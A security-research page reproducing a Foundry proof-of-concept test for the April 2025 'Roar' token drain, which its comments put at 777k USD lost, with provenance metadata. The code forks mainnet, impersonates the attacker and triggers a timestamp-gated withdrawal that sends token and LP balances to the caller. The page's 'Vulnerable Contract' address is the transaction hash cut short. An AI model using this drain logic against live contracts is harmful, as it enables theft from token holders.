Public reproduction file
src/test/2025-04/Roar_exp.sol
Public reproduction file for dataset entry Roar.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 777k USD7// Attacker : 0x8149f77504007450711023cf0ec11bdd6348401f8// Attack Contract : 9// Vulnerable Contract : 10// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xab2097bb3ce666493d0f76179f7206926adc8cec4ba16e88aed30c202d70c66112// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/CertiKAlert/status/191243053599918904217// Twitter Guy : https://x.com/CertiKAlert/status/191243053599918904218// Hacking God : N/A20address constant ONE_R0AR_Token = 0xb0415D55f2C87b7f99285848bd341C367FeAc1ea;21address constant UniswapV2Pair = 0x13028E6b95520ad16898396667d1e52cB5E550Ac;22address constant attacker = 0x8149f77504007450711023cf0eC11BDd6348401F;24contract ContractTest is Test {25 function setUp() public {26 vm.createSelectFork("mainnet", 22278564);27 }29 function testPoC() public {30 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);31 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);32 vm.startPrank(attacker, attacker);33 AttackerC attC = new AttackerC();34 deal(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea, address(attC), 100000000099978913875247186);35 deal(0x13028E6b95520ad16898396667d1e52cB5E550Ac, address(attC), 26777446973800063826);36 attC.EmergencyWithdraw();37 vm.stopPrank();38 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xb0415D55f2C87b7f99285848bd341C367FeAc1ea).balanceOf(attacker), 18);39 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x13028E6b95520ad16898396667d1e52cB5E550Ac).balanceOf(attacker), 18);40 }41}43contract AttackerC {44 uint256 constant T0 = 0x67ff15af;45 uint256 constant BIGC = 0x25aaa441b6cac9c2f49d8d012ccc517de4215e056b0f63883f8240c8e228fed1;46 uint256 constant DEN = 365000 * 24 * 3600;47 uint256 constant K = 35;48 uint256 constant OFF = 61066966765;50 function EmergencyWithdraw() public {51 if (block.timestamp >= T0) {52 uint256 rate = BIGC / DEN;53 if ((((block.timestamp * rate * K) - (OFF * rate)) / (rate * K)) == (block.timestamp - T0)) {54 uint256 bal1 = IONE_R0AR_Token(ONE_R0AR_Token).balanceOf(address(this));55 uint256 diff = (block.timestamp * rate * K) - (OFF * rate);56 if (diff > 0) {57 if (bal1 < diff) {58 bytes memory data1 = abi.encodeWithSelector(59 IONE_R0AR_Token.transfer.selector,60 tx.origin,61 10000000009997891061101363262 );63 (bool ok1, bytes memory ret1) = ONE_R0AR_Token.call(data1);64 require(ok1 && (ret1.length == 0 || abi.decode(ret1, (bool))), "transfer1 failed");66 IERC20(UniswapV2Pair).balanceOf(address(this));67 bytes memory data2 = abi.encodeWithSelector(68 IERC20.transfer.selector,69 tx.origin,70 2677744697243756134471 );72 (bool ok2, bytes memory ret2) = UniswapV2Pair.call(data2);73 require(ok2 && (ret2.length == 0 || abi.decode(ret2, (bool))), "transfer2 failed");74 }75 }76 }77 }78 }79}81interface IONE_R0AR_Token {82 function transfer(address, uint256) external returns (bool);83 function balanceOf(address) external returns (uint256); 84}Analysis
Dataset entry
Public Foundry test for “Roar” (2025-04-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/bitdog_exp.solSame month in the dataset · 161 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8149f77504007450711023cf0ec11bdd6348401f
- Vulnerable Contract
0xab2097bb3ce666493d0f76179f7206926adc8cec
- Attack Tx
0xab2097bb3ce666493d0f76179f7206926adc8cec4ba16e88aed30c202d70c661
File record
- Name
- Roar
- Path
- src/test/2025-04/Roar_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1ac8bbfada37eb295c16368394f1ca00f0a045cd
- Language
- Solidity
- Size
- 84 lines
- Date
- 2025-04-16
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/Roar_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1ac8bbfada37eb295c16368394f1ca00f0a045cd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.